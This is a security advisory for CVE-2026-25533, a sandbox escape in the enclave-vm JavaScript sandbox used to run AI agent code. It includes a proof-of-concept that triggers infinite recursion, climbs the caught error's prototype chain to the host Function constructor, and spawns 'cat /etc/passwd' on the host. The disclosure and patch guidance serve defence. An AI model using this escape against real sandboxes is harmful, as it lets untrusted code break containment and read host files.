CVE-2026-25533: Enclave has a sandbox escape via infinite recursion and error objects
Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm). All fixed versions and guidance refer to @enclave-vm/core.
Summary The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.
Details There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.
PoC The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.
js import { Enclave } from 'enclave-vm';
// Create enclave with a tool handler const enclave = new Enclave({ timeout: 5000, maxToolCalls: 10, maxIterations: 1000, toolHandler: async (toolName, args) => { // Your tool execution logic return { success: true, data: Called ${toolName} }; }, });
// Execute AgentScript code const result = await enclave.run( let res = null, rootProt = null; let a = () =>{ try { a(); } catch (e) { rootProt = e[["proto"]][["proto"]][["proto"]]; res=e.stack } } a(); rootProt[["foo"]] = rootProt[["toString"]][["constructor"]] rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawnsync').spawn(options).output[1].toString())")(); );
Impact Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.
Other sources
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.10.1, the existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references. This vulnerability is fixed in 2.10.1.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25533?
CVE-2026-25533 is considered a high severity vulnerability due to its potential for sandbox escape.
How do I fix CVE-2026-25533?
To fix CVE-2026-25533, ensure you upgrade to version 2.10.1 or later of the @enclave-vm/core package.
Which versions are affected by CVE-2026-25533?
CVE-2026-25533 affects versions of enclave-vm up to and including 2.7.0 and all versions of @enclave-vm/core prior to 2.10.1.
What is the nature of the vulnerability CVE-2026-25533?
CVE-2026-25533 involves a sandbox escape through infinite recursion and error objects in the enclave-vm package.
Is enclave-vm still maintained after CVE-2026-25533?
Yes, enclave-vm has moved to @enclave-vm/core and can still be maintained with updated versions.